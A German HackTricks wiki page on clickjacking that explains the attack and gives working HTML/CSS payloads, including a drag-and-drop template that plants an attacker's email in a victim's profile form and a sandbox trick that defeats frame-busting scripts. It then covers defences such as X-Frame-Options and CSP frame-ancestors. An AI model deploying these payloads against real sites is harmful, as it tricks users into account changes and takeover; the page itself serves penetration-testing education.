Clickjacking

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden. Heute Zugriff erhalten:

Was ist Clickjacking

Bei einem Clickjacking-Angriff wird ein Benutzer dazu getäuscht, auf ein Element auf einer Webseite zu klicken, das entweder unsichtbar ist oder als anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Folgen für den Benutzer führen, wie dem Herunterladen von Malware, der Weiterleitung zu bösartigen Webseiten, der Bereitstellung von Anmeldeinformationen oder sensiblen Informationen, Geldtransfers oder dem Online-Kauf von Produkten.

Trick zum Vorabfüllen von Formularen

Manchmal ist es möglich, den Wert von Feldern eines Formulars mithilfe von GET-Parametern beim Laden einer Seite zu füllen. Ein Angreifer kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten auszufüllen und das Clickjacking-Payload zu senden, damit der Benutzer die Schaltfläche "Senden" drückt.

Formular mit Drag&Drop ausfüllen

Wenn Sie möchten, dass der Benutzer ein Formular ausfüllt, aber ihn nicht direkt auffordern möchten, bestimmte Informationen einzugeben (wie die E-Mail und/oder ein spezifisches Passwort, das Sie kennen), können Sie ihn einfach bitten, etwas per Drag&Drop zu verschieben, das Ihre gesteuerten Daten schreibt, wie in diesem Beispiel.

Grundlegendes Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Mehrstufige Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Klick Payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Wenn Sie einen XSS-Angriff identifiziert haben, der erfordert, dass ein Benutzer auf ein Element klickt, um den XSS auszulösen, und die Seite anfällig für Clickjacking ist, könnten Sie es missbrauchen, um den Benutzer dazu zu bringen, auf die Schaltfläche/den Link zu klicken. Beispiel: Sie haben ein Self-XSS in einigen privaten Details des Kontos gefunden (Details, die nur Sie setzen und lesen können). Die Seite mit dem Formular zum Einstellen dieser Details ist anfällig für Clickjacking, und Sie können das Formular mit den GET-Parametern vorab ausfüllen. __Ein Angreifer könnte einen Clickjacking-Angriff auf diese Seite vorbereiten, das Formular mit dem XSS-Payload vorab ausfüllen und den **Benutzer dazu bringen, das Formular zu übermitteln. Wenn das Formular übermittelt wird und die Werte geändert werden, wird der Benutzer den XSS ausführen.

Strategien zur Minderung von Clickjacking

Abwehrmaßnahmen auf Clientseite

Skripte, die auf der Clientseite ausgeführt werden, können Aktionen ausführen, um Clickjacking zu verhindern:

  • Sicherstellen, dass das Anwendungsfenster das Haupt- oder oberste Fenster ist.

  • Alle Frames sichtbar machen.

  • Klicken auf unsichtbare Frames verhindern.

  • Erkennen und Benutzer über mögliche Clickjacking-Versuche informieren.

Diese Frame-Busting-Skripte können jedoch umgangen werden:

  • Sicherheitseinstellungen der Browser: Einige Browser können diese Skripte basierend auf ihren Sicherheitseinstellungen oder dem Fehlen von JavaScript-Unterstützung blockieren.

  • HTML5 iframe sandbox-Attribut: Ein Angreifer kann Frame-Buster-Skripte neutralisieren, indem er das sandbox-Attribut mit den Werten allow-forms oder allow-scripts ohne allow-top-navigation setzt. Dadurch wird verhindert, dass das iframe überprüft, ob es das oberste Fenster ist, z. B.

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Die Werte allow-forms und allow-scripts ermöglichen Aktionen innerhalb des Iframes und deaktivieren die Navigation auf Top-Level. Um die beabsichtigte Funktionalität der angegriffenen Website sicherzustellen, können zusätzliche Berechtigungen wie allow-same-origin und allow-modals je nach Angriffstyp erforderlich sein. Browser-Konsolenmeldungen können dabei helfen, welche Berechtigungen zuzulassen sind.

Serverseitige Abwehrmaßnahmen

X-Frame-Options

Der HTTP-Antwortheader X-Frame-Options informiert Browser über die Legitimität des Renderns einer Seite in einem <frame> oder <iframe>, um Clickjacking zu verhindern:

  • X-Frame-Options: deny - Keine Domain kann den Inhalt rahmen.

  • X-Frame-Options: sameorigin - Nur die aktuelle Website kann den Inhalt rahmen.

  • X-Frame-Options: allow-from https://trusted.com - Nur die angegebene 'uri' kann die Seite rahmen.

  • Beachten Sie die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, funktioniert sie möglicherweise nicht. Einige Browser bevorzugen die CSP frame-ancestors Direktive.

Content Security Policy (CSP) frame-ancestors Direktive

Die frame-ancestors Direktive in CSP ist die empfohlene Methode zum Schutz vor Clickjacking:

  • frame-ancestors 'none' - Ähnlich wie X-Frame-Options: deny.

  • frame-ancestors 'self' - Ähnlich wie X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Ähnlich wie X-Frame-Options: allow-from.

Beispielsweise erlaubt die folgende CSP nur das Einbetten von der gleichen Domain:

Content-Security-Policy: frame-ancestors 'self';

Weitere Details und komplexe Beispiele finden Sie in der frame-ancestors CSP-Dokumentation und in der Mozilla CSP frame-ancestors Dokumentation.

Content Security Policy (CSP) mit child-src und frame-src

Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injektionsangriffe zu verhindern, indem festgelegt wird, welche Quellen der Browser zum Laden von Inhalten zulassen soll.

frame-src Direktive

  • Definiert gültige Quellen für Frames.

  • Spezifischer als die default-src Direktive.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt Frames aus der gleichen Quelle (self) und https://trusted-website.com.

child-src Direktive

  • Wurde in CSP Level 2 eingeführt, um gültige Quellen für Web Workers und Frames festzulegen.

  • Dient als Fallback für frame-src und worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt Frames und Worker aus der gleichen Quelle (self) und https://trusted-website.com.

Verwendungshinweise:

  • Veraltung: child-src wird zugunsten von frame-src und worker-src abgeschafft.

  • Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.

  • Strikte Quellendefinition: Fügen Sie nur vertrauenswürdige Quellen in die Direktiven ein, um Ausnutzungen zu verhindern.

JavaScript Frame-Breaking Scripts

Obwohl nicht vollständig narrensicher, können JavaScript-basierte frame-busting Skripte verwendet werden, um zu verhindern, dass eine Webseite eingerahmt wird. Beispiel:

if (top !== self) {
top.location = self.location;
}

Verwendung von Anti-CSRF-Token

  • Token-Validierung: Verwenden Sie Anti-CSRF-Token in Webanwendungen, um sicherzustellen, dass zustandsändernde Anfragen absichtlich vom Benutzer und nicht über eine Clickjacking-Seite erfolgen.

Referenzen

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden. Heute Zugriff erhalten:

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated